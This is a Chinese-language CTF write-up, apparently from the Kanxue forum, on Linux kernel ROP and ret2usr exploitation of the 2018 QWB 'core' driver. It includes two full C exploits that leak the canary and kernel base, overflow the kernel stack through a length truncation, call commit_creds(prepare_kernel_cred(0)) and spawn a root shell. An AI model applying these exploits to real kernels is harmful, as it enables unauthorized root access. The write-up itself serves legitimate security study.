linux内核提取ret2usr,Linux Kernel Exploit 内核漏洞学习(2)-ROP

原标题:Linux Kernel Exploit 内核漏洞学习(2)-ROP

c23a7457df7cb1803850b161f3f05456.png

本文为看雪论坛精华文章

看雪论坛作者ID:钞sir

简介

ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

这种攻击方法在用户态的条件中运用的比较多,ret2shellcode、ret2libc、ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基本一样。

这里我以2018年的强网杯中的core来进行演示和学习的,环境我已经放到的了github上面了,需要的可以自行下载学习。

前置知识

kernel space to user space

我们知道Linux操作系统中用户态和内核态是相互隔离的,所以当系统从内核态返回到用户态的时候就必须要进行一些操作,才可以是两个状态分开,具体操作是:

1、通过swapgs指令恢复用户态GS的值;

2、通过sysretq或者iretq指令恢复到用户控件继续执行;

如果使用iretq指令则还需要给出用户空间的一些信息(CS、eflags/rflags、esp/rsp等)。比如这里利用的iretq指令,在栈中就给出CS,eflags,sp,ss等信息。

871b78350a6997885634c0a689dc6700.png

当然,我们可以通过下来这这个函数来获取并保存这些信息:

unsignedlonguser_cs, user_ss, user_eflags, user_sp;

voidsave_stats{

asm(

"movq %%cs, %0n"

"movq %%ss, %1n"

"movq %%rsp, %3n"

"pushfqn"

"popq %2n"

:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)

:

: "memory"

);

}

提权函数

在内核态提权到root,一种简单的方法就是是执行下面这个函数:

commit_creds(prepare_kernel_cred(0));

这个函数会使我们分配一个新的cred结构(uid=0, gid=0等)并且把它应用到调用进程中,此时我们就是root权限了。

commit_creds和prapare_kernel_cred都是内核函数,一般可以通过cat /proc/kallsyms查看他们的地址,但是必须需要root权限。

02154cef59a7f0157b0178affe7d4548.png

具体分析

现在我们可以先分析一下这个core.ko驱动了,首先查看一下这个ko文件的保护机制有哪些:

bf4d771ef6a78f0796999d703f5b4b99.png

开启了canary保护。

core_ioctl:

e9828082f0adff382cd895c5ce1eb23a.png

这个函数定义了三条命令,分别调用core_read,core_copy_func,并且可以设置全局变量off。

core_copy_func:

6c1b103b9c70e960820b378d0e5be3ba.png

这个函数会根据用户的输入长度,从name这个全局变量中往栈上写数据,并且函数在判断我们输入的这个a1变量类型的时候是signed long long,但是qmemcpy的时候就变成了unsigned __int16了。

所以这里存在一个截断,当我们输入如0xf000000000000000|0x100这样的数据就可以绕过限制,就可以造成内核的栈溢出了。

core_read:

ad5305093eacd8cc23bb3d1a1e309ff2.png

这个函数会从栈上读出长度为0x40的数据,并且读的起始位置我们可以通过改变off这个全局变量的大小来控制,也就是说这个我们可以越界访问数据,将栈上面的返回地址,canary等信息读到。

core_write:

2421cbc732da4b46adf26912c6c24138.png

最后这个函数我们可以向全局变量name中写入一个长度不大于0x800的字符串。

思路方法

所以现在我们思路比较清晰了:

1、首先通过ioctl函数设置全局变量off的大小,然后通过core_readleak出canary;

2、然后通过core_write()向全局变量name中写入我们构造的ROPchain;

3、通过设置合理的长度利用core_copy_func函数把name的ROPchain向v2变量上写,进行ROP攻击;

4、ROP调用commit_creds(prepare_kernel_cred(0)),然后swapgs,iretq到用户态;

5、用户态起shell,get root。

所以这里最重要的就是我们的ROPchain的构造了,为了方便调试,我们修改一下init文件:

- setsid /bin/cttyhack setuidgid 1000/bin/sh

+ setsid /bin/cttyhack setuidgid 0/bin/sh

这样我们start的时候就是root权限了,方便我们查看一些函数的地址。

获得基地址

首先我们查看一下qume中函数的地址:

33261a5e8f9b81d55ffc3fddbf37e12d.png

然后通过gdb调试查看core_read的栈内容:

7ba4a048cfc58b0125e6b128a6091585.png

基本我们能够从栈中泄露vmlinux和core.ko的基地址了。

通过这些位置的地址减去偏移就是基地址了,这个和在用户态找libc的基地址的方法是一样的,所以就不过多解释了。

然后我们可以利用ropper工具来查找我们需要的gadget了:

ropper -- filevmlinux -- search"pop|ret"

这里建议使用ropper而不是ROPgadget,因为ROPgadget太慢了,ropper可以直接通过pip install ropper来安装;

这里多说一点,其实有时候如果等待的时间是在太长了,可以试试这个这样去找:

objdump -d vmlinux -M intel | grep-E 'ret|pop'

只是这样格式不是太好看,但是非常快。

我这里构造出来的rop链在代码中基本都体现出来了,所以直接看代码就好。

EXP

poc.c:

#include

#include

#include

intfd;

unsignedlonguser_cs, user_ss, user_eflags,user_sp;

voidcore_read(char*buf){

ioctl(fd, 0x6677889B,buf);

//printf("[*]The buf is:%xn",buf);

}

voidchange_off(longlongv1){

ioctl(fd, 0x6677889c,v1);

}

voidcore_write(char*buf,inta3){

write(fd,buf,a3);

}

voidcore_copy_func(longlongsize){

ioctl(fd, 0x6677889a,size);

}

voidshell{

system( "/bin/sh"

}

voidsave_stats{

asm(

"movq %%cs, %0n"

"movq %%ss, %1n"

"movq %%rsp, %3n"

"pushfqn"

"popq %2n"

: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)

:

: "memory"

);

}

intmain{

intret,i;

charbuf[ 0x100];

size_tvmlinux_base,core_base,canary;

size_tcommit_creds_addr,prepare_kernel_cred_addr;

size_tcommit_creds_offset = 0x9c8e0;

size_tprepare_kernel_cred_offset = 0x9cce0;

size_trop[ 0x100];

save_stats;

fd = open( "/proc/core",O_RDWR);

change_off( 0x40);

core_read(buf);

/*

for(i=0;i<0x40;i++){

printf("[*] The buf[%x] is:%pn",i,*(size_t *)(&buf[i]));

}

*/

vmlinux_base = *( size_t*)(&buf[ 0x20]) - 0x1dd6d1;

core_base = *( size_t*)(&buf[ 0x10]) - 0x19b;

prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;

commit_creds_addr = vmlinux_base + commit_creds_offset;

canary = *( size_t*)(&buf[ 0]);

printf( "[*]canary:%pn",canary);

printf( "[*]vmlinux_base:%pn",vmlinux_base);

printf( "[*]core_base:%pn",core_base);

printf( "[*]prepare_kernel_cred_addr:%pn",prepare_kernel_cred_addr);

printf( "[*]commit_creds_addr:%pn",commit_creds_addr);

//junk

for(i = 0;i < 8;i++){

rop[i] = 0x66666666;

}

rop[i++] = canary; //canary

rop[i++] = 0; //rbp(junk)

rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;

rop[i++] = 0; //rdi

rop[i++] = prepare_kernel_cred_addr;

rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret

rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret

rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx

rop[i++] = commit_creds_addr;

rop[i++] = core_base + 0xd6; //swapgs_ret

rop[i++] = 0; //rbp(junk)

rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret

rop[i++] = ( size_t)shell;

rop[i++] = user_cs;

rop[i++] = user_eflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

core_write(rop, 0x100);

core_copy_func( 0xf000000000000100);

return0;

}

编译:

gcc poc .c-o poc -w -static

运行:

62bdcba1bd0f3288f2197d0c8fb5e684.png

这里说两个地方,第一个是确定填充的垃圾数据的大小时,可以利用gbd动态调试查看确定:

568232deef0edd96e990f3d7215b1dee.png

确定填充的大小是0x40。然后就是ROP链中有一个:

rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret

rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret

rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx

这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:

4bcc9f2ced901f07af09943326dfbe0a.png

ret2usr

最后这里在说另外一个方法也是基于ROP的方法。

因为这个内核开启了kalsr和canary,但是没有开启smep保护,我们可以利用在用户空间的进程不能访问内核空间。

但是在内核空间能访问用户空间的特性,我们可以直接返回到用户空间构造的commit_creds(prepare_kernel_cred(0))(通过函数指针实现来提权,虽然这两个函数位于内核空间,但因为此时我们是ring 0特权,所以可以正常运行。

EXP

ret2usr.c:

#include

#include

#include

intfd;

unsignedlonguser_cs, user_ss, user_eflags,user_sp;

size_tcommit_creds_addr,prepare_kernel_cred_addr;

voidcore_read(char*buf){

ioctl(fd, 0x6677889B,buf);

//printf("[*]The buf is:%xn",buf);

}

voidchange_off(longlongv1){

ioctl(fd, 0x6677889c,v1);

}

voidcore_write(char*buf,inta3){

write(fd,buf,a3);

}

voidcore_copy_func(longlongsize){

ioctl(fd, 0x6677889a,size);

}

voidshell{

system( "/bin/sh"

}

voidsave_stats{

asm(

"movq %%cs, %0n"

"movq %%ss, %1n"

"movq %%rsp, %3n"

"pushfqn"

"popq %2n"

: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)

:

: "memory"

);

}

voidget_root{

char* (*pkc)( int) = prepare_kernel_cred_addr;

void(*cc)( char*) = commit_creds_addr;

(*cc)((*pkc)( 0));

}

intmain{

intret,i;

charbuf[ 0x100];

size_tvmlinux_base,core_base,canary;

size_tcommit_creds_offset = 0x9c8e0;

size_tprepare_kernel_cred_offset = 0x9cce0;

size_trop[ 0x100];

save_stats;

fd = open( "/proc/core",O_RDWR);

change_off( 0x40);

core_read(buf);

/*

for(i=0;i<0x40;i++){

printf("[*] The buf[%x] is:%pn",i,*(size_t *)(&buf[i]));

}

*/

vmlinux_base = *( size_t*)(&buf[ 0x20]) - 0x1dd6d1;

core_base = *( size_t*)(&buf[ 0x10]) - 0x19b;

prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;

commit_creds_addr = vmlinux_base + commit_creds_offset;

canary = *( size_t*)(&buf[ 0]);

printf( "[*]canary:%pn",canary);

printf( "[*]vmlinux_base:%pn",vmlinux_base);

printf( "[*]core_base:%pn",core_base);

printf( "[*]prepare_kernel_cred_addr:%pn",prepare_kernel_cred_addr);

printf( "[*]commit_creds_addr:%pn",commit_creds_addr);

//junk

for(i = 0;i < 8;i++){

rop[i] = 0x66666666;

}

rop[i++] = canary; //canary

rop[i++] = 0x0;

rop[i++] = ( size_t)get_root;

rop[i++] = core_base + 0xd6; //swapgs_ret

rop[i++] = 0; //rbp(junk)

rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret

rop[i++] = ( size_t)shell;

rop[i++] = user_cs;

rop[i++] = user_eflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

core_write(rop, 0x100);

core_copy_func( 0xf000000000000100);

return0;

}

编译:

gcc ret2usr .c-o ret2usr -w -static

运行:

98f93f83dd6606e4083c988eee346049.png

可以发现这两个方法的代码非常的相似,因为原理都一样的。

总结

这个演示看起来很简单,但是在实际的操作过程当中会遇到比较多的问题,在内核态调试没有在用户态方便,因为内核一旦崩溃了就会重启,所以崩溃的时候gdb不一定断的下来,只能通过单步跟踪来慢慢的定位问题。

1e47960cf70001e4260e20553e7c536b.png

看雪ID:钞sir

https://bbs.pediy.com/user-818602.htm

开奖专区

活动回顾:HW行动 rdpscan后门简单分析

中奖名单如下:

bdf7385699bdf20612fbc7c42ad630a8.png

恭喜 旋风_Shaw²🎭获奖!!

请尽快将图书名称及收件信息(收件人、电话、收件地址)发送至微信公众号后台

注意:中奖后一周内未发来获奖信息者将视为自动放弃。

今日活动奖励:

cda15ca34d52a3fa295713b215d0be53.png

>《智能合约安全分析和审计指南》(王艺桌、陈佳林等著)作者亲笔签名图书一本

PS:现在在京东购买,可享满100减50,基本上等于半价购书

购买链接:https://item.jd.com/12659498.html

参与形式:

在本文下方留言,

留言点赞最多的1名小伙伴

即可免费获得一本图书!

注意事项:

1.点赞活动8月13日 17点截止。微信公众号头条文章尾部,公布获奖名单。

2. 每个ID每月只能获得一次奖励。

3. 严禁用马甲参与活动,一经发现视为放弃参加此活动。

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值